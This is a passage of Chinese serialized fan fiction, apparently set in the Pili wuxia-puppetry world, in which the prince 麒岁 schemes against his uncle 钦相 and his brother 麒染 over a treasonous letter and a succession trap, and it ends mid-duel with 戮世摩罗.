麒岁盯着钦相,忽地干笑了一声,“说白了,舅舅就是怀疑我罢了,”他的眼睛里闪过一丝怅然,“而且是通敌叛国,勾结外邦,弑父杀兄这样大的罪名。” 顿了顿,他用低落的语气问道: “麒岁在舅舅心中,就这么不堪吗?” 麒岁说话时满腔委屈,声音哀怨,仿佛一个被冤枉了的小孩。这态度让钦相猛地察觉到了自己的咄咄逼人,心中忽地涌上了一丝不忍。 他的语气便也随之一软: “麒岁,老臣并非不信你,但种种迹象让我不得不怀疑你——你先前三番五次前往沉沦海,而后前任疆主就在你与黑白郎君对战之时失踪。后来你又将公子开明带来魔都,紧接着,我军就在与修罗国度的对战中失利……难道这些都是巧合吗?这怎么能不让我产生怀疑?” 麒岁深吸了一口气,眸中闪过一丝百口莫辩的悲凉: “既然这一切都如此巧合,舅舅为何不产生怀疑,为什么会有这么多的巧合?” 钦相一怔,“什么意思?” 他顿了一下,忽然明白了麒岁话中所指,“你是想说,有人要陷害你吗?” “舅舅,你了解我,我并非无智之人,若我要勾结敌国,会做得这么明显,让把柄都落入他人手中吗?”麒岁反问道,语气逐渐凌厉起来: “再说,我现在已经拥有了疆主之位,再去通敌叛国又有何用,我又图什么?” 麒岁的回答让钦相陷入了沉默——是啊,这一系列的事情,都太过巧合地指向麒岁了,仿佛就是写了一条横幅挂在北鹿阁的牌匾上,写着他麒岁勾结敌国了。 思虑少顷,钦相再次开口,“麒岁,我来搜查,其实也是为了你好。若你父亲和六弟都已确认死亡,此事便罢了。可他们此时都只是失踪,万一他们哪天杀回来,你这位子又来得名不正言不顺,到时我也保不住你啊。” 麒岁问道,“那舅舅是信我,还是不信我?” 钦相语带无奈地回道,“我自然是想要相信你的,但麒岁,你要给我相信你的机会。” 麒岁问道,“什么机会?” 钦相回道,“两件事。” “第一件,”钦相敲击了一下地面,缓声说道,“让我搜查北鹿阁,证明你这里没有给戮世摩罗的书信。第二件,” 他一边说着,一边用象牙拐杖指了指客房的方向: “杀掉公子开明。” 麒岁闻言,僵硬地怔在原地,脸上的表情凝固成了冰冷的石雕。 他握紧拳头,过了许久,才缓缓道: “第一件事,我可以妥协,第二件事,不可能。” 钦相叹息道,“麒岁,你没有选择的余地。而且你要知道,这两件事情,就算第一件你不同意,第二件你也是一定要做的,因为……” 他拿着拐杖,在地上划出一道长长的线,犹如一道血色的伤疤: “修罗国度的策君,是不会成为你的麾下的。” “不,”麒岁反驳他,声音是平时极少出现在他身上的急促,“舅舅,你给我时间劝说他,他一定可以成为凶岳疆朝的助力的,你信我。” “我信你。”钦相的声音冷若冰霜,毫无感情,“但我不会相信修罗国度的策君。” 话说完,他也不给麒岁继续说下去的时间,直接转头看向一旁的黑衣死士: “你若真的问心无愧,就让这位死士在你阁中搜索一番,也算是给你我吃一颗定心丸。” 麒岁深吸一口气,缓缓闭上了眼睛。 “搜吧。”他一副听天由命的样子。 那死士闻言上前,蹲下身子,将手放于地面,口中念念有词,不过一会儿,从他袖口中飞出了无数五彩斑斓的蝴蝶,朝北鹿阁的各个角落飞去了。 这期间,院子里的麒岁和钦相就这样面对面站着,没有交流的眼神,但心中却闪过了无数个念头,思考着各种可能的后果。 没过一会儿,祸雕忽然从后院跑了出来,一边跑到麒岁身旁一边喊,“疆主,疆主,后院忽然飞来一大片蝴蝶,不知道是怎么……咦?” 当他看到院子里沉默不语的三人时,一下子怔住了。 “这是什么情况……” “没事。”麒岁回过头安慰他道,“钦相要在我北鹿阁中找一样东西。他是我舅舅,是长辈,他若要找,我自然没有拒绝的道理。” “可是……”祸雕脸上写着一丝犹豫。 “没事。”麒岁从后面拍了拍祸雕的背,“稍后那些蝴蝶就会离开。” 四只魔又这样僵持片刻之后,那些蝴蝶又从北鹿阁的各个角落飞回来了,待到最后一只蝴蝶飞回死士的衣袖之中时,那死士缓缓道,“钦相,没有搜到相关的书信。” 钦相似是松了一口气,眉头终于舒展开来。 他转过头,带着一丝歉意地看向麒岁,“没有就好。疆主,老臣要搜北鹿阁也是为了江山社稷着想,望你能宽恕老臣。” “舅舅一心为国,我怎能责罚。”麒岁用听不出情绪的语气回道,“既然确认我府中没有那样的书信,舅舅就请回吧。” 钦相没走,在原地站了一会儿,又开口道,“疆主,老臣还是要提醒你,既然已经身为一疆之主,凡事就不可再那么任性了。” 说完,转头问那死士,“有看到公子开明在哪吗?” 那死士回答,“殊梨院,在院子里站着。” “嗯。”钦相点了点头,意味深长地看了麒岁一眼,随后转身,带着那死士,拂袖离去了。 待到钦相的背影消失在北鹿阁的大门后面,麒岁忽然身形一晃,差点向后倒去。幸好旁边的祸雕反应迅速,急忙伸手扶住了他。 “疆主?你没事吧?” 麒岁摇了摇头,扶着祸雕稳住了身子,面色一片苍白,“我没事。” 祸雕皱着眉头问道,“钦相可是来找你给戮世摩罗的那封书信的?” 麒岁盯着前方,语气似沉入水潭的巨石,“钦相是怎么知道有这么一封书信的……” 祸雕心存侥幸地道,“幸好他没搜出来。” “他搜不出来。”麒岁接上他的话。 “啊?”祸雕一愣,转头看向麒岁。 麒岁的眼神穿过前方簌簌零落的桃花,语气间难得蒙上了一丝阴沉: “那封信,被我放在羽瑞寒魄宫了。” 祸雕扶着麒岁的手僵住,脸上是掩饰不住的讶异,“羽瑞寒魄宫?那,那火凤郡主她知道吗……” “她不知道,”麒岁摇了摇头,“先前除了我自己,谁都不知道。” 他一边说着,一边抬起头看祸雕: “祸雕,你马上领精兵三百,前往羽瑞寒魄宫,守好宫门,不得任何人进出。我给你一面传音镜,一旦有异样,第一时间通知我。” 祸雕深吸一口气,重重地点了点头,“是,疆主。” —— 公子开明站在院中的梨树下,透过簇簇花瓣之间的缝隙去看天上的蓝月。冷冽的银光如流水,映照在梨树下的石桌上,给院落中的一切披上一层清冷的光辉。 他正盯着那蓝月发呆,身后忽然传来声音,打破了院中的宁静,“策君在想什么呢?” 公子开明听见声音回头,果不其然,又是这个夭寿的麒岁。 见麒岁踩着一地梨花缓缓走进来,公子开明后退一步,扬着声音大声道,“策君我啊,我饿了,我在想麒麟是红烧着好吃还是清蒸着好吃。” “我让祸雕给你送些点心?”麒岁走到他身前,顺着他的话讲了下去,“饿着策君可不行。” 公子开明歪着头,目光在麒岁脸上打转,随即转移话题,“刚刚钦相来了?” 麒岁的眼神里有些探寻,“策君怎么知道?” “那么大一片蝴蝶在天上飞,你当本策君是瞎的哦!”公子开明伸开双臂,夸张地比划了一下,“整个凶岳疆朝还有谁有权利搜查你的北鹿阁,赤水女魃已经回赤水了,不就只剩下钦相了吗!” 麒岁面带苦涩地笑了一下“策君真是足不出户便知天下事。” 公子开明问他,“钦相没让你杀我?” 麒岁眼神一滞,“策君连这都知道?我都要怀疑策君是不是在监听我了。” 公子开明绕着麒岁转了个圈,“我和你家老龙对峙了这么多年,只要我守在沉沦海你们就不敢轻举妄动。现在我被你带来北鹿阁又被锁了功体,如此大好机会,是个正常的臣子都会让你出手杀我。” 麒岁叹了口气,像是在解释着什么,“我不想杀策君。” “那——就不杀。”公子开明轻巧地蹦到麒岁身前,“本策君也没逼着你杀我。送我回修罗国度,从此以后你再没机会杀我,也不用被那只长着象牙的猪威胁。 “那是我舅舅,”麒岁提醒他道,“策君不可随意调侃。” “不——就是长着象牙的猪吗?”公子开明拍了拍自己的脑袋,“你说我是长了九个头的怪物,我也没有什么异议。毕竟,你是知道的,我对凶岳疆朝一向没有什么好话说。” 麒岁的语气中仍是不带一丝波澜,似在刻意隐藏情绪,“策君今天的每一句话,都像是在故意激怒我。” “咦?”公子开明转了一圈脑袋,略带好奇地问,“那你生气了吗?” 麒岁幽幽地盯着公子开明,“你是魔伶最好的朋友,我若杀你,她定怨我。” 公子开明提醒道,“她若知道你骗她,更会怨你。” 麒岁一怔,仿佛被人戳到了痛处,眼神一下子黯淡了下去,犹如坠进一片深不见底的幽暗之中。 “是啊。”他笑了一声,带着些许悲凉的自嘲,“她会怨我的……” 随后,他缓缓抬起头看向公子开明,这次他的语气不再是半分调笑半分认真,而是尤为诚挚地一问:“策君,我们真的没有半分共事的可能吗?” “没有。”公子开明干脆利落地拒绝了他,“除非你背叛凶岳疆朝,来修罗国度。” “若魔世一统,又何来修罗国度和凶岳疆朝的分别?”麒岁问道,“国别,就那么重要吗?” “既然不重要,那就把疆主之位让给你弟弟,你来修罗国度。”公子开明忽地回过身,语速加快,“你既然不在意国别,那为什么不是你放弃自己的国家,而要我去放弃?” 麒岁怔住,一时无言。 “因为你放不下。”公子开明逼近一步,字字如刀,直刺麒岁的心肺: “在凶岳疆朝,你是疆主,但在修罗国度你可能连三尊的位置都排不上。说到底,你放不下权力,放不下地位。若真如你所说,一切都是为了魔世的和平,那你就该不惜一切代价达成这个目标,不管放弃什么,牺牲什么,都只是为了达成这个目标。不然——” 他的语气骤然低沉: “你就只是个用和平来美化侵略的伪君子而已。” 两对目光在冷冽的银光下相交,犹如千百个生死对决的瞬间,紧张的气氛几乎让时间凝固。 “……” 过了许久,麒岁“哈”地笑了一声: “策君这番话,真是说得麒岁汗颜了。” 他一边说着,一边抬起头来,透过梨花的缝隙去看那轮冷冷的蓝月: “没错,我是放不下权力与地位,因为我不能没有。” 他一边说着,一边再次将目光落回公子开明的金色双眸上: “我且问策君,若昔日镇守在沉沦海的不是你公子开明,而是我父王,魔世还会有今日的三国鼎立之势吗?和平是我的目标,权力却是我实现目标的条件,如果我只是一个山野间种地的农夫,就算我再有鸿鹄之志,又有何用处,又能改变什么?” “你仍可以通过他人去改变,”公子开明反驳他,“就像你说的,国别之分有那么重要吗?若魔世真能一统,是凶岳疆朝一统还是修罗国度一统又有何区别?” “当然有区别,”麒岁猛地上前一步,语气忽地染上了一丝激动,“戮世摩罗会在意九界的和平吗?” “那你就在意吗?” 公子开明冷声质问,整个庭院的温度随之降至冰点。 梨花摇曳,犹如凛冬的雪花,银装素裹之中,寒意四起,几乎将灵魂冻结。 麒岁盯着他的眼睛沉默许久,缓缓开口: “若我日后失了初心,策君在我身旁,也好从中阻止,甚至可以杀我。” 公子开明闭上眼睛,单手背后: “戮世摩罗若是为祸九界,我亦可以杀他。” “……” 麒岁笑了一声,那笑声似是比这月光还冷: “父王说的没错,策君果然是……修罗国 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说出这几个字时,涌上头颅的寒冷几乎将他冻结: “处斩。” —— 水滴不断地从洞顶的岩石上滴落,发出沉闷的声响,石壁上布满了湿滑的青苔,在昏暗的烛光下显得更加幽绿。 麒染坐在石桌前,盯着石壁上的裂痕发呆。 那裂痕,像蚯蚓。 麒染看着那裂痕,忽然莫名地,想起了小时候他和麒岁一起挖蚯蚓的场景。 那时,大皇兄、二皇兄他们都尚在世,记忆中的皇兄皇姐们个个难以相处,唯有麒岁,总是彬彬有礼,面带微笑,对待每一个人都和蔼可亲。 也正是如此,麒染才会和他更亲近一些。 他记得那是夫子考核的前两个月,他和麒岁两个人偷偷溜到魔羲宫后花园去挖蚯蚓,那时麒岁问了他一个在他看来傻到家的问题: “六弟,你说蚯蚓生活在地底那种暗不见光的地方,它能看见什么?” 这问题在麒染看来着实有些蠢,所以他也懒得和麒岁解释,就随意回答道,“它别让泥土把它压死就不错了,还管能不能看见东西?” 这本是一件微不足道的小事,根本不足挂齿。但自那以后,似乎有什么细微的东西在两人之间改变了。 两个月后的夫子考核上,麒岁在文武两项上都输给了麒染。时至今日,麒染还清楚地记得,那时麒岁收了陌刀走下台子,拖着步子走到应龙师身前,而后他的父亲就伸出了手,一掌将麒岁狠狠打倒在了地上。 麒岁当场吐了一大口血,倒在地上站不起来了。 皇兄皇姐们都被这一幕吓坏了,愣在原地不敢动弹,就连母后和玄妃也僵立当场,无人敢上前一步。 就在这时,麒染忽然冲上前去,将麒岁扶了起来。 他当时并没有多想,只觉得是因为自己将麒岁比了下去,才导致应龙师大发雷霆。 他这一扶,是带着怜悯,甚至是炫耀的。 那天他扶着麒岁回到北鹿阁,还安慰麒岁道:“父王本就性情不定,或许只是恰好在那一刻爆发。至于文武之事,你不做太子,强弱并不重要。” 麒岁只是礼貌地笑了笑,轻声道谢,再无他言。 在众多兄弟姐妹中,能力最强的是大皇兄和三皇兄,麒染自认紧随其后。但他能明显感觉到,应龙师并不宠爱大哥和三哥,这让他心中暗自窃喜,说不定太子之位最终会落到自己头上。 然而,他万万没有想到,在之后的议政中,除了必定出席的大皇兄和三皇兄,竟然还加入了一个人——麒岁。 而且,没有麒染。 这个消息如同晴天霹雳,劈在了麒染的身上。 他百思不得其解,最后终是忍不住,小心翼翼地向应龙师探询,应龙师似乎听出了他的弦外之音,便给出了一个让他瞠目结舌的回答: “众兄弟姐妹中,麒岁最像老朽。” 麒岁最像父王? 麒染听到这句话,都要怀疑他父王是不是老糊涂了。 应龙师杀伐果决,阴狠毒辣,每一个兄弟姐妹身上都能找到他的影子,唯有这个麒岁,好听点叫彬彬有礼和蔼可亲,不好听的就是没有皇室的半点威严,对下人都是和颜悦色,让他杀只蚯蚓都要犹豫半天。 这样一个人,父王竟然说,他最像他? 麒染无法接受这个事实。 自那日起,麒染便开始逐渐疏远麒岁,曾经的亲近化为了深深的厌恶。他无法容忍一个他曾怜悯、曾施以援手的人,竟然因为一个荒谬至极的理由,凌驾于他之上。麒岁那种与父王截然不同的懦弱性格,有什么资格继承父王的位置,成为凶岳疆朝的疆主? 麒岁双手紧紧抓住了桌子上的传音镜,指关节因用力而泛白,眼神中透露出不甘。 自从大皇兄他们去世后,麒染便坚信疆主之位非他莫属。 现在,他誓要夺回本该属于他的东西。 …… 就在他陷入回忆之时,手中的传音镜忽然闪烁起来! 金色的光芒穿过麒染的指缝,一时间使得昏暗的烛光黯然失色。 麒染见状,身体如同被电击一般,“腾”地直起了身子,紧紧地盯着那传音镜。 只见镜面上,金色的光芒缓缓浮现,映出了几个字迹: 信在羽瑞寒魄宫。 —— 夜幕漆黑,一只乌鸦悄无声息地穿过蓝月的光芒,扑棱着翅膀,落在了麒岁的窗边。 麒岁原本背对着窗户,直到看见地面上出现了移动的阴影,他才缓缓转过身,走向窗边,伸出手臂。 那只黑鸟似乎早已等候多时,轻盈地停在了他的胳膊上。 麒岁轻轻从鸟腿上解下纸条,展开阅读。 当他看到纸条上的字迹时,眉头微微一皱,口中缓缓吐出两个字: “果然。” 话音刚下,他胳膊轻轻一挥,那黑鸟便再次振翅高飞,消失在夜色中。 麒岁走向墙边的衣挂,取下黑色斗篷,披在肩上,兜帽下拉,遮住了眼睛,只露出了一抹阴影。 他低着头默默地走到门口,手握在门把上,准备推门而出。 然而,他刚一将门打开,一个意想不到的身影就出现在了他的眼前! 麒岁瞪大了眼睛,满脸震惊地看着门外的人。 只见那人缓缓地迈出一步,迫使麒岁不由自主地后退一步,退回到了房间内。象牙拐杖沉重地敲打在地板上,发出“噔噔”的声响,声音在寂静的夜色中显得格外刺耳。 麒岁尽力保持镇定,声音平静地开口询问: “舅舅,你怎么会在这里?” “老臣还想问疆主,这么晚了,这是打算去往何处呢?”钦相再次向前一步,压低了声音问道。 麒岁抬头望去,只见钦相的背后是一道巨大的绿色屏障——钦相在屋外施展了术法! 麒岁再次向后退去,他转头望向窗外,只见窗外的夜空中同样被一层绿色屏障覆盖,如同一片碧波荡漾的湖水,遮挡了蓝月的清辉。 “让老臣猜一猜吧。”在阴冷的月光下,钦相深绿色的发丝和浅绿色的面容显得异常诡异,平时慈祥的绿眼睛,此刻却闪烁着凌厉的光芒,宛如毒蛇般令人不寒而栗。 麒岁紧盯着钦相的眼睛,握起的拳头微微颤抖,汗水渐渐沁出。 钦相一双绿眸幽幽地盯着他,继续说道: “老臣猜,疆主打算去羽瑞寒魄宫,杀麒染,对吧?” —未完待续— 22.围杀(2) 【22】 绿色的波纹映在地面,整个北鹿阁仿若沉进了碧绿的海底,映出一幅波光粼粼的画面。 麒岁和钦相站在门前对峙,此时没了血色的桃花,只有屋中杀意暗流涌动,将气氛压迫至冰点。 屋中沉默许久之后,麒岁轻轻扯动嘴角,露出一抹淡笑: “舅舅,您在说什么?” 即便身处危机之中,他依旧保持着礼数周到,让对方无法捕捉到一丝一毫的破绽。 钦相用象牙拐杖敲击着地面,每一次敲击都是在故意扰乱对手的心绪,“羽瑞寒魄宫中,藏着对你来说很重要的东西吧?” “哦?”麒岁仿佛听到了世间最有趣的事情,“什么东西?请舅舅明示。” 钦相冷哼一声,眼中的杀意愈发浓烈,“是什么东西,让你弟弟找来不就知道了。” 麒岁闻言,眼中闪过一丝刻意流露出的讶异,“舅舅,你知道我六弟的下落?” 钦相皮笑肉不笑地道,“麒岁,事到如今也不必装傻了吧?老臣大张旗鼓来北鹿阁搜查书信,不就是为了找到那封书信吗?如今谁需要那封书信,你应该也很清楚吧?” 象牙拐杖在地面敲出沉闷的一响,声声击入人心,回荡在空旷的屋中。 麒岁的眸子暗了一下,似是心中一直以来的猜测得到了证实: “舅舅,原来你一直与麒染有勾结。” 钦相哼笑一声,像是在嘲笑他今日才反应过来。 “为什么?”麒岁问道,语气里带了些不解: “我和麒染,您都了解,为什么选择帮助麒染?难道您觉得,让麒染来治理这个国家,比我来治理这个国家,要好吗?” 钦相的眼神中闪过一丝狠厉: “自瑶后嫁给应龙师之后,老臣就一直在等,一直在等,等应龙师死,等凶岳疆朝的大权落入我们姐弟手中——你说,对于老臣来说,会选择聪颖的你,还是愚蠢的麒染?” 钦相此话一出,犹如一道惊雷劈在了麒岁心上。 他猛地上前一步,疯狂涌出的震惊让他的喉咙仿佛被什么堵住,半晌过后,才沙哑着声音斥责:“舅舅你……你竟然……” “哈,怎么了,老臣的惊人之语把你吓得装不下去了吗?”钦相冷冷嘲讽道,眼底流过无尽的轻蔑: “麒岁,收起你那副伪善的面具吧。你是什么样的人,老臣最清楚。你表面上是个正人君子,实则与应龙师并无二致,你们同样阴险狡诈,双手沾满鲜血!你再怎么用谦谦君子之壳来掩饰,也无法抹去你与应龙师的相似之处!” 钦相知道,从小到大,麒岁最恨别人说他像应龙师,就像一把会刺进自己心脏的利刃,一意孤行地否定着自己的血脉。 他瞪着麒岁,期待对方能露出情绪上的破绽。 然而,麒岁却只是幽幽地盯着钦相的眼睛,没有说话,也没有动,仿佛刚才的激动只不过是他的一次表演。 长时间的凝视后,麒岁再次发出了笑声。 笑声在空气中回荡,显得异常刺耳。 “钦相,你以为,让麒染得到那封信,就能扳倒我吗?” 钦相微微皱起了眉头,麒岁这句话什么意思?难道他还有后手? “他人得到我勾结敌国的证据,我自是百口莫辩,可若是凶岳疆朝只有我一人能继承疆主之位,这罪名又有何用?” 麒岁一边说着,一边缓缓伸出手指,指向了钦相: “你,母后,赤水女魃,还有一众大臣,若无第二个疆主的人选,不还是要奉我为主?还是说,钦相你有意效仿修罗国度,冒险杀掉我,甘愿被凶岳疆朝的万民唾弃,自己来坐这个疆主之位?” 钦相凝神倾听,每一句话都在他脑海中回响。忽然间,他似乎意识到了什么,握着象牙拐杖的手不由得一僵: “你……!” 麒岁似笑非笑,绿色的光芒下,他的神色显得有些凄凉: “当我意识到你们准备罗织我勾结敌国的罪名时,我便想到,与你们纠缠此事只会消耗我的精力。我最好的策略,就是釜底抽薪,确保这个国家只有我一个继承者。这样,即便我有千千万万的罪名,为了国家的稳定,你们也不得不尊我为王,甚至要替我隐瞒这些罪名。” “书信在羽瑞寒魄宫,是我让祸雕故意放出的消息。羽瑞寒魄宫只有我和麒染能进,只要他前往寒魄宫取信件,祸雕在外面围住他,那里就是围杀麒染最好的猎场。” 麒岁一边说着,一边向前一步: “你们以为得到了密信的下落,其实那只是我为了杀麒染,设下的诱饵。” “本来我还不确定麒染是否会落入陷阱,但就在刚刚,祸雕传来消息,说麒染已经进入了羽瑞寒魄宫。” 麒岁的语气冰冷,如同凛冽寒风:“他还是这样,永远沉不住气。” “……” 钦相后退一步,象牙拐杖在地面敲击两下,发出干哑的笑声: “哈,是老臣看轻了你,只是……” 他缓缓抬起拐杖,指向前方的麒岁: “如今你被我的耕瑞穰云阵困在此地,你该怎么从这里逃出生天,前往羽瑞寒魄宫杀麒染?” “只要老臣一直将你困在这里,就算麒染落入陷阱又如何?他武功再不济,也不至于被祸雕打死。” “老臣的目的,自始至终,就是将你限制在北鹿阁之中。” 钦相的声音如潮水般落去,麒岁再次抬起头,目光穿透窗户,落在那道绿色的屏障上,一道道绿色的波纹如同汹涌的海浪,在他身上投下斑驳的光影。 麒岁慢慢将目光收了回来,碧色的双眸再次落到了钦相身上: “是啊,”他随着钦相的质问,沉着声音回应道,“钦相的耕瑞穰云阵,即便是父王也要费一番功夫才能破解,我又该如何从这里逃脱呢?” 钦相没说话,他当然知道麒岁的这句话不是在询问他。 果然,麒岁的问题,在下一句话中才问出来: “钦相,你知道我平日里最喜欢做的事情是什么吗?” 钦相皱了皱眉头,一时未想出麒岁问这句话的意思。 麒岁见他不答,便自己回答道: “我平日,最喜欢搜罗魔世的奇人异士,与之结交,收在我的麾下,为我所用。” 麒岁说出这句话的瞬间,钦相心中忽然涌上一个不详的预感,随之而出的是一个让他几乎不愿承认的答案! 钦相眼疾手快,挥起手中的象牙拐杖,就朝麒岁打了过去! 麒岁在他出杖的一瞬间,忽地挥出钩剡陌刀,刀光闪烁间,险险地挡住了钦相的攻击! ——“你说,麒岁的麾下,会不会有擅长易容之术的奇人?” 钦相再次凝聚魔气,一掌狠狠拍在象牙拐杖上,对面的麒岁一时承受不住这股强大的掌力,猛地被打到身后的墙上,低头吐出了一大口鲜血。 但他抬起头的瞬间,脸上却带着胜利者的微笑: “钦相啊,不妨再来猜一下,此时真正的麒岁,在哪里?” —— 当祸雕看见那个身披黑披风,兜帽遮挡住双眼的身影匆匆行至自己面前时,他微微低下了头,恭敬地行了一礼:“疆主。” “我交代的事,都办妥了吗?” 麒岁一边说着,一边缓缓将头上的兜帽摘下,黑色的阴影下一头银丝如雪,冷冽的双眸闪烁着蛇一般的阴戾。 “都办妥了。”祸雕回答道,“已按照您的吩咐,用传音镜给您传递消息,随即又放出乌鸦,传消息去北鹿阁。” “嗯。”麒岁点了点头,目光落到祸雕身后的寒魄宫大门上,“麒染在里面?” 祸雕回头看了一眼羽瑞寒魄宫,谨慎地回 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麒岁踏入宫中,映入眼帘的就是庭院中的那棵梧桐树。 羽叶梧桐树终年不败,一树茂密的枝叶在凄清的晚风中飒飒作响。不时有几片叶子飘落,落在结了一层冰霜的石桌上,沾染一层寒意。 这座用千年寒冰雕琢起的羽瑞寒魄宫,太冷了。 麒岁走到石桌旁,见石桌下有几滴凝固的血迹,想是麒染逃入时留下的痕迹。 他沿着血迹的方向望去,发现麒染已经藏匿于屋内。 不寻常的是,凤妹也不在此处。通常情况下,凤璇音应该能感应到有人进入宫殿,但此刻却无人现身迎接。 是被牵制住不能出,还是……不想出? 麒岁站在冰晶零落的庭院里,盯着前方的大门,无数个念头涌上他的脑海。 是如祸雕所说被挟持,还是……与麒染一样,在暗处潜伏,准备趁他不备突来致命一击? 不对不对,麒岁晃了晃脑袋,似要让自己清醒一些,凤妹不会做那样的事。麒染又蠢又狠,此时凤妹不出现,很有可能是被他挟持了。 “麒染!”他站在庭院中,声音洪亮地喊道: “这里只有你我二人,与凤妹无关。你出来,我们在此一决高下,以实力争夺疆主之位。” 梧桐叶在蓝月之下轻轻摇晃,却只留给他一片沉寂。 麒岁再次提高声音,厉声喝道:“麒染,如果你不是懦夫,就出来与我堂堂正正对决!” 忽地,庭院上空,飘来一个飘渺而嘲讽的声音: “陷阱都设下了,还谈什么堂堂正正?” 麒岁听到声音,猛然抬头,却在那一瞬间,感受到了身后猛然袭来的森冷杀意! 来不及分辨那究竟是麒染还是凤璇音,感受到杀意的刹那,麒岁手中的钩剡陌刀已狠狠挥出,朝着身后那身影猛砍而去! “轰!——” 一声震耳欲聋的巨响,强大的功力在空中激烈碰撞,绿色光芒自兵器交接之处轰然炸开,梧桐树叶无法承受,纷纷飘落,石桌表面的冰霜也被震得粉末般飞散。 …… 硝烟逐渐散去,麒岁的视线逐渐清晰。 只见对方与他一样,身披一件宽大的黑袍,兜帽深深遮住眼睛,让人无法窥见其真容。 麒岁皱起了眉头,声音中带着疑惑与警惕:“麒染?凤璇音?还是……” “当然是——” 话音还未落下,对面的人忽然翻转手中的刀刃,一股更为强大的内力如同狂潮般涌出,瞬间将麒岁震退了数步! “你老爸!” 内力激荡引起狂风,将对方的兜帽吹落,露出了一张令麒岁难以置信的面容: “戮世摩罗?!” —未完待续— 23.围杀(3) 【23】 梧桐叶在庭院中纷飞,戮世摩罗将手中的逆神一转,刀锋的寒光在空气中划出一道凌厉的弧线: “没错,就是本帝尊。” 麒岁眉头紧皱,抬头望向羽瑞寒魄宫的上方,瑶后的三道屏障还在,并没有遭到破坏。 “别急,我知道你一定有很多问题要问。”戮世摩罗一手捋过自己鬓前的长发,语气上扬,“比如说,我为什么没有在赤水关养伤,为什么我能进羽瑞寒魄宫,我又是如何瞒过祸雕的,还有,麒染去了哪里,凤璇音又去了哪里……” 麒岁举着陌刀看他,心中盘算,面上不语。 “啊,问题太多了,一时之间真是难以解答。”戮世摩罗装模作样地摇了摇头,脸上露出一副苦恼的神情: “既然如此,那就先将你打到无力反抗,再慢慢回答你的疑问吧!” 说罢,戮世摩罗挥起逆神,带着一股狂风朝麒岁猛攻而来! 麒岁举刀抵挡,两股强大的内力在空中相撞,杀气四溢,冰宫的地面为之震颤! 两兵对峙之时,麒岁身形一闪,陌刀再次挥出,掀起一片凛冽的刀光剑影。戮世摩罗迎面而上,内力凝聚于逆神,与麒岁的陌刀再次正面交锋。 “你和麒染有勾结?”两股内力撞击的间隙,麒岁沉声问道: “你是来替他取书信,还是来替他杀我?” 戮世摩罗发出一声冷笑,金属交击的巨响在冰宫中回荡,火花四溅,冰屑飞散。 “费尽心思将你引出凶犁魔都,若能在此地将你诛杀,还要那封信何用?” 麒岁凝聚魔气,一掌狠狠拍在戮世摩罗的心口,然而戮世摩罗身披魔之甲,轻松地将这凶猛的一击化解于无形。 “嗯?”麒岁察觉到了一丝异样。 “还没想明白?”戮世摩罗趁麒岁惊异,猛地一掌打出,将麒岁震得连连后退了数步。 “从一开始,勾结叛国的罪名就只是一个幌子,一个用来吸引你全部注意力的幌子。让你误以为麒染的目的是搜集证据,而忽视了他真正要做的事只有一件,那就是——” 逆神在刀光中攻向麒岁,麒岁忙用陌刀抵挡,却在迟疑之间被对方的内力猛地震开。 “杀你!” 逆神爆发出一道刺眼的光芒,划破夜色,带起一串冷冽的冰珠。麒岁挥刀格挡,试图在对方的一招一式中寻找着破绽。 “炎火山决战,是为了引你杀丹阑毕方和雷月青夔,损耗凶岳疆朝战力的同时,顺理成章地引起钦相对你的怀疑。之后钦相前往你的府中搜查,再将麒染的‘目的’暴露给你。” “你对麒染有杀心,果然没有放过这个机会,想要利用书信将麒染引来羽瑞寒魄宫,不过——” 戮世摩罗再次劈向麒岁的头顶,麒岁举刀迎击,戮世摩罗刀面翻转,长刀如同闪电般直刺麒岁的胸口。 “那封信,其实早就已经被你毁掉了吧?” 麒岁脚步一错,陌刀划出一道道银蛇般的弧线,刀光闪烁,划下道道流星。 “你担心麒染想到证据可能已经被毁,所以先发制人,让祸雕守住羽瑞寒魄宫,制造证据在此地的假象。你想到了麒染可能会安插人手将你牵制在北鹿阁中,也做好了将麒染和凤璇音一起杀死的准备。你考虑的已经相当周全了,唯一没想到的就是——” 逆神一转,内力再次释放,两掌对接,空气里冰花翻飞,犹如凛冬大雪,寒意逼人: “我能进羽瑞寒魄宫!” 逆神连续劈砍,刀刀皆是裂冰碎雪之势。麒岁虽勉力抵挡,却依旧被逼得步步后退,脚下的梧桐叶被刀气卷起,在两人周身凌乱飞舞。 麒岁咬牙问道,“麒染呢?他现在在哪?” “你真是关心你弟弟啊,我都要被感动了。”戮世摩罗扬起声音嘲讽道。 “不出意外的话,他现在应该已经准备攻打凶犁魔都了吧?” 麒岁神色一僵,面容上闪过一丝惊愕,“什么?他——” 话音未落,逆神再次直劈而下。麒岁横刀一架,魔气爆发,险险将这一击挡下,但内力造成的内伤让他猛地吐出一口血。 他忽然意识到一件事情。 戮世摩罗与他对战至今,几乎没有用出什么致命的招式。他没有受伤是因为有魔之甲,而自己竟然也只是受了一点内伤而已,这是怎么回事? 麒岁陌刀猛地一挥,刀气飞出,冰屑四散。 不管怎样,他要先脱身赶回凶犁魔都。刹罗狰还有一众将士还守在北鹿阁中,只要他赶回去指挥,凶犁魔都也不是想打就能打下的! 麒岁这么想着,一刀震开戮世摩罗,转身就要冲向宫门口,身形如同脱弦之箭。 戮世摩罗预料到了他要逃离,被震开的瞬间,一招“烈阳邪火”猛地打在了麒岁的身上,将他逼得吐出了一大口血。 麒岁支刀稳住身体,趔趄着抬起头,看向戮世摩罗。 “怪不得出门总是带着祸雕,身为一方之主,真是太不经打了。”戮世摩罗放低逆神,杀意自刀刃溢出,带着宫墙上落下的片片冰晶逼向麒岁。 “上次没被黑白郎君打死,你还真是命大。” 说罢,戮世摩罗又是一招烈焰狂涛打上去,麒岁咬牙,举刀抵挡,结果被重重地打退到了梧桐树下。 霎那间,树叶纷纷零落,如同一场突如其来的暴雨一般。 麒岁咳了一声,哑着声音问,“凤璇音呢?” “凤璇音?”戮世摩罗举刀走上前,轻描淡写,“被我杀了。” 麒岁闻言,只觉得一股血气上涌,让他几乎握不住手中的陌刀。 “你这是什么表情?”见麒岁双目通红,戮世摩罗将刀一转,继续火上浇油: “你敢说你对凤璇音就没有动过杀心?她知道你那么多秘密,但凡钦相找瑶后要来一个西王母印,进羽瑞寒魄宫拷问一番,神仙在世都难救你。如今不用你亲自动手,我帮你将她解决,你难道不该感谢我吗?” “你……你……咳咳!”麒岁似乎是想骂他,但一口血堵在喉咙里,剧烈地咳嗽了起来。 